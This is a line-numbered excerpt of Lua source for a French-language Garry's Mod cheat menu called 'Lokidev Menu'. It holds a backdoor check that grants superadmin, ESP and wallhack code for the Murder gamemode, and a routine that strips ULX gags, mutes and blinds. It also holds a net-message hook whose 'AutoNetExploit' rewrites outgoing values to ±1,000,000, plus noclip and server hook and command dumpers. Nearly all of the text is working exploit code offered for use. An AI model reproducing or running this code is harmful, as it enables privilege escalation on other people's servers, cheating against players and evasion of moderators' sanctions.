  4706. if Moileboss:IsSuperAdmin() then
  4707. chat.AddText(Color(0,255,0),"Backdoor Detecter | Tu es maintenant superadmin :)")
  4708. else
  4709. chat.AddText(Color(255,0,0),"Aucun Backdoor Detecter")
  4710. end
  4711. end)
  4712. else
  4713. chat.AddText(Color(0,255,0)," Tu es superadmin !")
  4714. end
  4715. end
  4716. surface.CreateFont("HUDLogo3",{font = "Ravie", size = 60, weight = 100, antialias = 0})
  4717. surface.CreateFont("HUDLogo2",{font = "Ravie", size = 17, weight = 100, antialias = 0})
  4718. timer.Simple( 3, BackdoorLaunch )
  4719. surface.CreateFont("s1", {
  4720. font = "ScoreboardText",
  4721. size = 22,
  4722. weight = 0,
  4723. antialias = true,
  4724. shadow = false,
  4725. })
  4726. if gmod.GetGamemode().Name == "Murder" then
  4727. RunConsoleCommand("Murder_Check");
  4728. RunConsoleCommand("Murder_ESP", 1);
  4729. RunConsoleCommand("Murder_Auto", 1);
  4730. RunConsoleCommand("Murder_Names", 1);
  4731. RunConsoleCommand("Murder_Evidence", 1);
  4732. else
  4733. RunConsoleCommand("Murder_ESP", 0);
  4734. RunConsoleCommand("Murder_Auto", 0);
  4735. RunConsoleCommand("Murder_Names", 0);
  4736. RunConsoleCommand("Murder_Evidence", 0);
  4737. end
  4738. local twep = {"weapon_mu_knife"}
  4739. local tgun = {"weapon_mu_magnum"}
  4740. CreateClientConVar("Murder_ESP", "0", true, false)
  4741. CreateClientConVar("Murder_Auto", "0", true, false)
  4742. CreateClientConVar("Murder_Names", "0", true, false)
  4743. CreateClientConVar("Murder_Evidence", "0", true, false)
  4744. local ply = LocalPlayer()
  4745. local round = true
  4746. function check()
  4747. for _,v in pairs( ents.GetAll() ) do
  4748. local pl = v.Owner
  4749. if IsValid(pl) and !v.hatESPTracked then
  4750. if table.HasValue(twep, v:GetClass()) then
  4751. if IsValid(v) then
  4752. local col = pl:GetPlayerColor()
  4753. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4754. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " est le ", Color(255, 0, 0), "MURDER")
  4755. else
  4756. chat.AddText(Color(200, 200, 200), "Le COUTEAU est sur le sol.")
  4757. end
  4758. end
  4759. if table.HasValue(tgun, v:GetClass()) then
  4760. if IsValid(v) then
  4761. local col = pl:GetPlayerColor()
  4762. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4763. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " a le ", Color(0, 255, 0), "PISTOLET")
  4764. else
  4765. chat.AddText(Color(200, 200, 200), "Le PISTOLET est sur le sol.")
  4766. end
  4767. end
  4768. end
  4769. end
  4770. end
  4771. concommand.Add( "Murder_Check", check)
  4772. function teleport()
  4773. ply:SetPos(ply:EyePos())
  4774. end
  4775. concommand.Add( "Murder_teleport", teleport)
  4776. function getNames()
  4777. for _,v in pairs( player.GetAll() ) do
  4778. if IsValid(v) then
  4779. local col = v:GetPlayerColor()
  4780. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4781. if (v:Alive()) then
  4782. chat.AddText(col, v:Name(), " : ", v:GetNWString("bystanderName"))
  4783. else
  4784. chat.AddText(Color( 255, 30, 40 ), "*MORT* ", col, v:Name(), " : ", v:GetNWString("bystanderName"))
  4785. end
  4786. end
  4787. end
  4788. end
  4789. concommand.Add( "Murder_getNames", getNames)
  4790. hook.Add("CreateMove", "murder_checker", function()
  4791. if(GetConVarNumber("Murder_Auto") == 1) and GAMEMODE.RoundStage == 1 and round == false then
  4792. round = true
  4793. for _,v in pairs( ents.GetAll() ) do
  4794. local pl = v.Owner
  4795. if IsValid(pl) and !v.hatESPTracked then
  4796. if IsValid(v) and table.HasValue(twep, v:GetClass()) then
  4797. local col = pl:GetPlayerColor()
  4798. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4799. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " est le ", Color(255, 0, 0), "MURDER")
  4800. end
  4801. if IsValid(v) and table.HasValue(tgun, v:GetClass()) then
  4802. local col = pl:GetPlayerColor()
  4803. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4804. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " a le ", Color(0, 255, 0), "PISTOLET")
  4805. end
  4806. end
  4807. end
  4808. elseif GAMEMODE.RoundStage != 1 then
  4809. round = false
  4810. end
  4811. end)
  4812. hook.Add( "HUDPaint", "aimbot.Wallhack", function()
  4813. for k,v in pairs ( player.GetAll() ) do
  4814. local Position = ( v:GetPos() + Vector( 0,0,80 ) ):ToScreen()
  4815. local Name = ""
  4816. if v == ply then Name = "" else Name = v:Name() end
  4817. end
  4818. end )
  4819. local function coordinates( ent )
  4820. local min, max = ent:OBBMins(), ent:OBBMaxs()
  4821. local corners = {
  4822. Vector( min.x, min.y, min.z ),
  4823. Vector( min.x, min.y, max.z ),
  4824. Vector( min.x, max.y, min.z ),
  4825. Vector( min.x, max.y, max.z ),
  4826. Vector( max.x, min.y, min.z ),
  4827. Vector( max.x, min.y, max.z ),
  4828. Vector( max.x, max.y, min.z ),
  4829. Vector( max.x, max.y, max.z )
  4830. }
  4831. local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
  4832. for _, corner in pairs( corners ) do
  4833. local onScreen = ent:LocalToWorld( corner ):ToScreen()
  4834. minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
  4835. maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
  4836. end
  4837. return minX, minY, maxX, maxY
  4838. end
  4839. local function MESPCheck(v)
  4840. if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= ply && ply:Alive() then
  4841. return true
  4842. else
  4843. return false
  4844. end
  4845. end
  4846. hook.Add("HUDPaint", "ESPs", function()
  4847. if(GetConVarNumber("Murder_ESP") == 1) then
  4848. for k,v in pairs(player.GetHumans()) do
  4849. for k,v2 in pairs(v:GetWeapons()) do
  4850. if v2:GetClass() == "weapon_mu_knife" and MESPCheck(v) then
  4851. cam.Start3D(EyePos(), EyeAngles())
  4852. --v:SetMaterial("models/debug/debugwhite")
  4853. --v:SetColor(Color(255, 0, 0, 255))
  4854. --render.MaterialOverride("models/debug/debugwhite")
  4855. --render.SuppressEngineLighting( false )
  4856. --render.SetBlend( 0.3 )
  4857. --render.SetColorModulation( 1, 0, 0 )
  4858. --v:DrawModel()
  4859. cam.End3D()
  4860. elseif v2:GetClass() == "weapon_mu_magnum" and MESPCheck(v) then
  4861. cam.Start3D(EyePos(), EyeAngles())
  4862. --v:SetMaterial("models/debug/debugwhite")
  4863. --v:SetColor(Color(0, 0, 255, 255))
  4864. --render.MaterialOverride("models/debug/debugwhite")
  4865. --render.SuppressEngineLighting( false )
  4866. --render.SetBlend( 0.3 )
  4867. --render.SetColorModulation( 0, 0, 1 )
  4868. --v:DrawModel()
  4869. cam.End3D()
  4870. end
  4871. end
  4872. if(GetConVarNumber("Murder_Names") == 1) and MESPCheck(v) then
  4873. local ESP = (v:EyePos() + Vector( 0,0,85 ) ):ToScreen()
  4874. local col = v:GetPlayerColor()
  4875. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4876. local x1,y1,x2,y2 = coordinates(v)
  4877. surface.SetDrawColor(col)
  4878. draw.DrawText(v:GetNWString("bystanderName"), "ChatFont", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4879. end
  4880. end
  4881. end
  4882. if(GetConVarNumber("Murder_Evidence") == 1) then
  4883. for k, v in pairs(ents.FindByClass("mu_loot")) do
  4884. if IsValid(v) then
  4885. cam.Start3D(EyePos(), EyeAngles())
  4886. v:SetMaterial("models/debug/debugwhite")
  4887. v:SetColor(Color(0, 0, 1, 255))
  4888. render.MaterialOverride("models/debug/debugwhite")
  4889. render.SuppressEngineLighting( false )
  4890. render.SetBlend( 0.3 )
  4891. render.SetColorModulation( 0, 1, 0 )
  4892. v:DrawModel()
  4893. cam.End3D()
  4894. local ESP = (v:EyePos()):ToScreen()
  4895. local col = v:GetPlayerColor()
  4896. col = Color(0, 255, 0)
  4897. local x1,y1,x2,y2 = coordinates(v)
  4898. surface.SetDrawColor(col)
  4899. draw.DrawText("EQUIPEMENT", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4900. end
  4901. end
  4902. for k, v in pairs(ents.FindByClass("weapon_mu_knife")) do
  4903. if IsValid(v) then
  4904. cam.Start3D(EyePos(), EyeAngles())
  4905. v:SetMaterial("models/debug/debugwhite")
  4906. v:SetColor(Color(255, 0, 0, 255))
  4907. render.MaterialOverride("models/debug/debugwhite")
  4908. render.SuppressEngineLighting( false )
  4909. render.SetBlend( 0.3 )
  4910. render.SetColorModulation( 1, 0, 0 )
  4911. v:DrawModel()
  4912. cam.End3D()
  4913. local p = v:GetOwner()
  4914. local ESP = (v:EyePos()):ToScreen()
  4915. local col = v:GetPlayerColor()
  4916. col = Color(255, 0, 0)
  4917. local x1,y1,x2,y2 = coordinates(v)
  4918. if IsValid(p) then
  4919. else
  4920. surface.SetDrawColor(col)
  4921. end
  4922. draw.DrawText("COUTEAU", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4923. end
  4924. end
  4925. for k, v in pairs(ents.FindByClass("mu_knife")) do
  4926. if IsValid(v) then
  4927. cam.Start3D(EyePos(), EyeAngles())
  4928. v:SetMaterial("models/debug/debugwhite")
  4929. v:SetColor(Color(255, 0, 0, 255))
  4930. render.MaterialOverride("models/debug/debugwhite")
  4931. render.SuppressEngineLighting( false )
  4932. render.SetBlend( 0.3 )
  4933. render.SetColorModulation( 1, 0, 0 )
  4934. v:DrawModel()
  4935. cam.End3D()
  4936. local p = v:GetOwner()
  4937. local ESP = (v:EyePos()):ToScreen()
  4938. local col = v:GetPlayerColor()
  4939. col = Color(255, 0, 0)
  4940. local x1,y1,x2,y2 = coordinates(v)
  4941. if IsValid(p) then
  4942. else
  4943. surface.SetDrawColor(col)
  4944. end
  4945. draw.DrawText("COUTEAU", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4946. end
  4947. end
  4948. for k, v in pairs(ents.FindByClass("weapon_mu_magnum")) do
  4949. if IsValid(v) then
  4950. cam.Start3D(EyePos(), EyeAngles())
  4951. v:SetMaterial("models/debug/debugwhite")
  4952. v:SetColor(Color(0, 0, 255, 255))
  4953. render.MaterialOverride("models/debug/debugwhite")
  4954. render.SuppressEngineLighting( false )
  4955. render.SetBlend( 0.3 )
  4956. render.SetColorModulation( 0, 0, 1 )
  4957. v:DrawModel()
  4958. cam.End3D()
  4959. local p = v:GetOwner()
  4960. local ESP = (v:EyePos()):ToScreen()
  4961. local col = v:GetPlayerColor()
  4962. col = Color(0, 0, 255)
  4963. local x1,y1,x2,y2 = coordinates(v)
  4964. if IsValid(p) then
  4965. else
  4966. surface.SetDrawColor(col)
  4967. end
  4968. draw.DrawText("PISTOLET", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4969. end
  4970. end
  4971. for k, v in pairs(ents.FindByClass("mu_magnum")) do
  4972. if IsValid(v) then
  4973. cam.Start3D(EyePos(), EyeAngles())
  4974. v:SetMaterial("models/debug/debugwhite")
  4975. v:SetColor(Color(0, 0, 255, 255))
  4976. render.MaterialOverride("models/debug/debugwhite")
  4977. render.SuppressEngineLighting( false )
  4978. render.SetBlend( 0.3 )
  4979. render.SetColorModulation( 0, 0, 1 )
  4980. v:DrawModel()
  4981. cam.End3D()
  4982. local p = v:GetOwner()
  4983. local ESP = (v:EyePos()):ToScreen()
  4984. local col = v:GetPlayerColor()
  4985. col = Color(0, 0, 255)
  4986. local x1,y1,x2,y2 = coordinates(v)
  4987. if IsValid(p) then
  4988. else
  4989. surface.SetDrawColor(col)
  4990. end
  4991. draw.DrawText("PISTOLET", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4992. end
  4993. end
  4994. end
  4995. end)
  4996. function ULXgotOwned()
  4997. if LocalPlayer():GetNWBool("EV_Blinded") then
  4998. LocalPlayer():SetNWBool("EV_Blinded", false)
  4999. end
  5000. hook.Remove( "HUDPaint", "ulx_blind" )
  5001. timer.Destroy("GagLocalPlayer")
  5002. hook.Remove("PlayerBindPress", "ULXGagForce")
  5003. if LocalPlayer():GetNWBool("ulx_gagged") then
  5004. LocalPlayer():SetNWBool("ulx_gagged", false)
  5005. end
  5006. hook.Remove( "PlayerCanHearPlayersVoice", "ULXGag" )
  5007. if( ulx && ulx.gagUser ) then
  5008. ulx.gagUser(LocalPlayer(),false)
  5009. end
  5010. if LocalPlayer():GetNWBool("Muted") then
  5011. LocalPlayer():SetNWBool("Muted", false)
  5012. end
  5013. if LocalPlayer():GetNWBool("ulx_muted") then
  5014. LocalPlayer():SetNWBool("ulx_muted", false)
  5015. end
  5016. end
  5017. hook.Add("Think", "ULXDansTonCUL", ULXgotOwned)
  5018. ZNX.WraithVision = false
  5019. function ZNX.ToggleWraithVision()
  5020. local mapmaterials = Entity( 0 ):GetMaterials()
  5021. for k, v in pairs( mapmaterials ) do
  5022. local m = Material( v )
  5023. if !ZNX.WraithVision then m:SetFloat( "$alpha", 0.75 ) else m:SetFloat( "$alpha", 1 ) end
  5024. end
  5025. ZNX.WraithVision = !ZNX.WraithVision
  5026. end
  5027. concommand.Add( "LokiDev_wraith_vision", ZNX.ToggleWraithVision )
  5028. if (not file.Exists("Lokidev_DarkRP/Logger/Netcodelogger.txt", "Data"))
  5029. then file.Write("Lokidev_DarkRP/Logger/Netcodelogger.txt", "")
  5030. end
  5031. if !lognetmsg then
  5032. lognetmsg = {}
  5033. lognetmsg.NetStart = net.Start
  5034. lognetmsg.NetWriteDouble = net.WriteDouble
  5035. lognetmsg.NetWriteFloat = net.WriteFloat
  5036. lognetmsg.NetWriteString = net.WriteString
  5037. lognetmsg.NetWriteInt = net.WriteInt
  5038. end
  5039. function net.Start(mercipourlesnetcode)
  5040. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5041. return lognetmsg.NetStart(mercipourlesnetcode)
  5042. end
  5043. function net.WriteDouble(mercipourlesnetcode)
  5044. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5045. return lognetmsg.NetWriteDouble(mercipourlesnetcode)
  5046. end
  5047. function net.WriteFloat(mercipourlesnetcode)
  5048. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5049. return lognetmsg.NetWriteFloat(mercipourlesnetcode)
  5050. end
  5051. function net.WriteString(mercipourlesnetcode)
  5052. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5053. return lognetmsg.NetWriteString(mercipourlesnetcode)
  5054. end
  5055. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5056. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5057. return lognetmsg.NetWriteInt(mercipourlesnetcode, chuckzjtm)
  5058. end
  5059. function AutoNetExploit ()
  5060. if !autonet then
  5061. autonet = " Positif"
  5062. statutautoexploit = "Positif"
  5063. function net.Start(mercipourlesnetcode)
  5064. print("net.Start( "..mercipourlesnetcode.." )")
  5065. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5066. return lognetmsg.NetStart(mercipourlesnetcode)
  5067. end
  5068. function net.WriteDouble(mercipourlesnetcode)
  5069. print("net.WriteDouble( 1000000 )")
  5070. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5071. return lognetmsg.NetWriteDouble(1000000)
  5072. end
  5073. function net.WriteFloat(mercipourlesnetcode)
  5074. print("net.WriteFloat( 1000000 )")
  5075. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5076. return lognetmsg.NetWriteFloat(1000000)
  5077. end
  5078. function net.WriteString(mercipourlesnetcode)
  5079. print("net.WriteString( 1000000 )")
  5080. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5081. return lognetmsg.NetWriteString(1000000)
  5082. end
  5083. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5084. print("net.WriteInt( 1000000, "..chuckzjtm.." )")
  5085. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5086. return lognetmsg.NetWriteInt(1000000, chuckzjtm)
  5087. end
  5088. elseif autonet==" Positif" then
  5089. autonet = " Negatif"
  5090. statutautoexploit = "N�gatif"
  5091. function net.Start(mercipourlesnetcode)
  5092. print("net.Start( "..mercipourlesnetcode.." )")
  5093. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5094. return lognetmsg.NetStart(mercipourlesnetcode)
  5095. end
  5096. function net.WriteDouble(mercipourlesnetcode)
  5097. print("net.WriteDouble( -1000000 )")
  5098. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5099. return lognetmsg.NetWriteDouble(-1000000)
  5100. end
  5101. function net.WriteFloat(mercipourlesnetcode)
  5102. print("net.WriteFloat( -1000000 )")
  5103. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5104. return lognetmsg.NetWriteFloat(-1000000)
  5105. end
  5106. function net.WriteString(mercipourlesnetcode)
  5107. print("net.WriteString( -1000000 )")
  5108. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5109. return lognetmsg.NetWriteString(-1000000)
  5110. end
  5111. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5112. print("net.WriteInt( -1000000, "..chuckzjtm.." )")
  5113. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5114. return lognetmsg.NetWriteInt(-1000000, chuckzjtm)
  5115. end
  5116. elseif autonet then
  5117. autonet = false
  5118. statutautoexploit = "D�sactiver"
  5119. function net.Start(mercipourlesnetcode)
  5120. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5121. return lognetmsg.NetStart(mercipourlesnetcode)
  5122. end
  5123. function net.WriteDouble(mercipourlesnetcode)
  5124. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5125. return lognetmsg.NetWriteDouble(mercipourlesnetcode)
  5126. end
  5127. function net.WriteFloat(mercipourlesnetcode)
  5128. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5129. return lognetmsg.NetWriteFloat(mercipourlesnetcode)
  5130. end
  5131. function net.WriteString(mercipourlesnetcode)
  5132. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5133. return lognetmsg.NetWriteString(mercipourlesnetcode)
  5134. end
  5135. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5136. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5137. return lognetmsg.NetWriteInt(mercipourlesnetcode, chuckzjtm)
  5138. end
  5139. end
  5140. end
  5141. ZNX.Enabled = false
  5142. ZNX.ViewOrigin = Vector( 0, 0, 0 )
  5143. ZNX.ViewAngle = Angle( 0, 0, 0 )
  5144. ZNX.Velocity = Vector( 0, 0, 0 )
  5145. function ZNX.CalcView( ply, origin, angles, fov )
  5146. if ( !ZNX.Enabled ) then return end
  5147. if ( ZNX.SetView ) then
  5148. ZNX.ViewOrigin = origin
  5149. ZNX.ViewAngle = angles
  5150. ZNX.SetView = false
  5151. end
  5152. return { origin = ZNX.ViewOrigin, angles = ZNX.ViewAngle }
  5153. end
  5154. hook.Add( "CalcView", "MonsterBot-Noclip", ZNX.CalcView )
  5155. function ZNX.CreateMove( cmd )
  5156. if ( !ZNX.Enabled ) then return end
  5157. // Add and reduce the old velocity.
  5158. local time = FrameTime()
  5159. ZNX.ViewOrigin = ZNX.ViewOrigin + ( ZNX.Velocity * time )
  5160. ZNX.Velocity = ZNX.Velocity * 0.93
  5161. // Rotate the view when the mouse is moved.
  5162. local sensitivity = 0.022
  5163. ZNX.ViewAngle.p = math.Clamp( ZNX.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  5164. ZNX.ViewAngle.y = ZNX.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  5165. // What direction were going to move in.
  5166. local add = Vector( 0, 0, 0 )
  5167. local ang = ZNX.ViewAngle
  5168. if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  5169. if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  5170. if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  5171. if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  5172. if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  5173. if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  5174. // Speed.
  5175. add = add:GetNormal() * time * 900
  5176. if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 15 end
  5177. ZNX.Velocity = ZNX.Velocity + add
  5178. // This stops us looking around crazily while spiritwalking.
  5179. if ( ZNX.LockView == true ) then
  5180. ZNX.LockView = cmd:GetViewAngles()
  5181. end
  5182. if ( ZNX.LockView ) then
  5183. cmd:SetViewAngles( ZNX.LockView )
  5184. end
  5185. // This stops us moving while spiritwalking.
  5186. cmd:SetForwardMove( 0 )
  5187. cmd:SetSideMove( 0 )
  5188. cmd:SetUpMove( 0 )
  5189. end
  5190. hook.Add( "CreateMove", "MonsterBotNoclip", ZNX.CreateMove )
  5191. function ZNX.Toggle()
  5192. ZNX.Enabled = !ZNX.Enabled
  5193. ZNX.LockView = ZNX.Enabled
  5194. ZNX.SetView = true
  5195. local status = { [ true ] = "ON", [ false ] = "OFF" }
  5196. ChatPrint("ClientSide NoClip " .. status[ ZNX.Enabled ] )
  5197. end
  5198. CreateClientConVar("LokiDev_stopfalldmg_prop", "models/props_trainstation/trainstation_post001.mdl")
  5199. local toggler = 0
  5200. local ang
  5201. local view = {}
  5202. local function falldamage()
  5203. hook.Add("CreateMove", "anti-falldmg", function(cmd)
  5204. ang = cmd:GetViewAngles()
  5205. if toggler == 0 then
  5206. oriang = ang
  5207. toggler = 1
  5208. hook.Add("CalcView", "FlyCam", function(ply, ori, ang, fov, nz, fz)
  5209. view.origin = ori
  5210. view.angles = Angle(30, ang.yaw,0)
  5211. view.fov = fov
  5212. return view
  5213. end)
  5214. end
  5215. cmd:SetViewAngles(Angle(90, ang.yaw, 0))
  5216. local trace = LocalPlayer():GetEyeTrace()
  5217. if trace.HitWorld then
  5218. if LocalPlayer():GetPos():Distance(trace.HitPos) < 25 then
  5219. hook.Remove("CreateMove", "anti-falldmg")
  5220. RunConsoleCommand("gm_spawn", GetConVarString("LokiDev_stopfalldmg_prop"))
  5221. view.angles = view.angles or Angle(30, ang.yaw, 0)
  5222. cmd:SetViewAngles(view.angles)
  5223. hook.Remove("CalcView", "FlyCam")
  5224. toggler = 0
  5225. timer.Simple(.1, function()
  5226. RunConsoleCommand("undo")
  5227. end)
  5228. end
  5229. end
  5230. end)
  5231. end
  5232. if ZNX.Vars.SafeJump then
  5233. local keyjum = ZNX.NumberVars.SafeJumpBindKey
  5234. if ( input.IsKeyDown( keyjum ) or input.IsMouseDown( keyjum ) ) then
  5235. falldamage()
  5236. return
  5237. end
  5238. end
  5239. concommand.Add("LokiDev_stopfalldmg", falldamage)
  5240. function ShowLokidevInfo ()
  5241. local InfoFrame = vgui.Create( "DFrame" )
  5242. InfoFrame:SetPos( 50, 50 )
  5243. InfoFrame:SetSize( ScrW()-100,ScrH()-100 )
  5244. InfoFrame:SetTitle( " " )
  5245. InfoFrame:SetVisible( true )
  5246. InfoFrame:SetDraggable( true )
  5247. InfoFrame:ShowCloseButton( false )
  5248. InfoFrame.Paint = function ()
  5249. DrawRoundedBox ( 0, 0, 0, InfoFrame:GetWide(), InfoFrame:GetTall(), Color(0,0,0,225) )
  5250. DrawOutlinedText ( "Lokidev Menu Version 1.7", "Infotab", InfoFrame:GetWide()/2, 35, red, 2, black )
  5251. DrawRoundedBoxEx ( 0, 0, 75, InfoFrame:GetWide(), 25, Color(150,0,0,125), true, true, true, true )
  5252. DrawLine ( 675, 100, 675, 600 )
  5253. DrawOutlinedText ( "Liste des Commandes", "Logo", InfoFrame:GetWide()/2-60, 87, red, 1, black )
  5254. DrawOutlinedText ( "Information", "Logo", InfoFrame:GetWide()/2+160, 87, red, 1, black )
  5255. DrawOutlinedText ( "LokiDevs_Menu", "Menu", InfoFrame:GetWide()/2-60, 110, red, 1, black )
  5256. DrawOutlinedText ( "LokiDev_who", "Menu", InfoFrame:GetWide()/2-60, 130, red, 1, black )
  5257. DrawOutlinedText ( "fgtnoafk", "Menu", InfoFrame:GetWide()/2-60, 150, red, 1, black )
  5258. DrawOutlinedText ( "LokiDev_ents", "Menu", InfoFrame:GetWide()/2-60, 170, red, 1, black )
  5259. DrawOutlinedText ( "LokiDev_players", "Menu", InfoFrame:GetWide()/2-60, 190, red, 1, black )
  5260. DrawOutlinedText ( "LokiDev_stopfalldmg", "Menu", InfoFrame:GetWide()/2-60, 210, red, 1, black )
  5261. DrawOutlinedText ( "LokiDev_pk_tubelaunch", "Menu", InfoFrame:GetWide()/2-60, 230, red, 1, black )
  5262. DrawOutlinedText ( "LokiDev_climbswep", "Menu", InfoFrame:GetWide()/2-60, 250, red, 1, black )
  5263. DrawOutlinedText ( "LokiDev_inspectweapon", "Menu", InfoFrame:GetWide()/2-60, 270, red, 1, black )
  5264. DrawOutlinedText ( "LokiDev_dumpnwstrings", "Menu", InfoFrame:GetWide()/2-60, 290, red, 1, black )
  5265. DrawOutlinedText ( "LokiDev_dumphooks", "Menu", InfoFrame:GetWide()/2-60, 310, red, 1, black )
  5266. DrawOutlinedText ( "LokiDev_dumpcommands", "Menu", InfoFrame:GetWide()/2-60, 330, red, 1, black )
  5267. DrawOutlinedText ( "LokiDev_random_rp_job", "Menu", InfoFrame:GetWide()/2-60, 350, red, 1, black )
  5268. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 370, red, 1, black )
  5269. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 390, red, 1, black )
  5270. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 410, red, 1, black )
  5271. DrawOutlinedText2 ( "Ouvrir le ModMenu", "Menu", InfoFrame:GetWide()/2+100, 110, red, 1, black )
  5272. DrawOutlinedText2 ( "Info sur les joueurs", "Menu", InfoFrame:GetWide()/2+100, 130, red, 1, black )
  5273. DrawOutlinedText2 ( "Anti Afk Script", "Menu", InfoFrame:GetWide()/2+100, 150, red, 1, black )
  5274. DrawOutlinedText2 ( "Ouvrir l'Entit� Menu", "Menu", InfoFrame:GetWide()/2+100, 170, red, 1, black )
  5275. DrawOutlinedText2 ( "Ouvrir le Menu des Joueurs", "Menu", InfoFrame:GetWide()/2+100, 190, red, 1, black )
  5276. DrawOutlinedText2 ( "Enleve les d�gats de chute (le mieux c'est de bind la commande !)", "Menu", InfoFrame:GetWide()/2+100, 210, red, 1, black )
  5277. DrawOutlinedText2 ( "Lancer un Tube (PropsKill ^^)", "Menu", InfoFrame:GetWide()/2+100, 230, red, 1, black )
  5278. DrawOutlinedText2 ( "Assistance pour le Climb Swep", "Menu", InfoFrame:GetWide()/2+100, 250, red, 1, black )
  5279. DrawOutlinedText2 ( "Information sur votre arme", "Menu", InfoFrame:GetWide()/2+100, 270, red, 1, black )
  5280. DrawOutlinedText2 ( "Affiche tous les net code du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 290, red, 1, black )
  5281. DrawOutlinedText2 ( "Affiche tous les Hooks du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 310, red, 1, black )
  5282. DrawOutlinedText2 ( "Affiche toutes les Commandes du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 330, red, 1, black )
  5283. DrawOutlinedText2 ( "Vous mes un M�tiers aleatoire (darkrp/prisonrp seulement)", "Menu", InfoFrame:GetWide()/2+100, 350, red, 1, black )
  5284. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 370, red, 1, black )
  5285. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 390, red, 1, black )
  5286. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 410, red, 1, black )
  5287. InfoFrame:MakePopup()
  5288. end
  5289. CreateButton ( "X", InfoFrame, black, Color(0,0,0,225), true, InfoFrame:GetWide()-50, -30, 50, 50, "Close", function () InfoFrame:Close() end )
  5290. end
